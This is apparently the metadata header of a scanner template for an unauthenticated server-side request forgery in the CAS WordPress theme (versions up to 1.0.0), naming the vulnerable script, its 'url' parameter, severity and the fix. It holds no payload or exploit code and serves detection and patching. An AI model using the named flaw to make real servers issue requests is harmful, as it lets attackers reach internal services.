info:
  name: WordPress CAS Theme <= 1.0.0 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    The CAS WordPress theme through version 1.0.0 is vulnerable to Server-Side Request Forgery (SSRF) via the 'url' parameter in the get_remote_data.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests via SSRF, potentially accessing internal services.
  remediation: |
    Update CAS WordPress theme to a version later than 1.0.0 that patches the SSRF vulnerability.
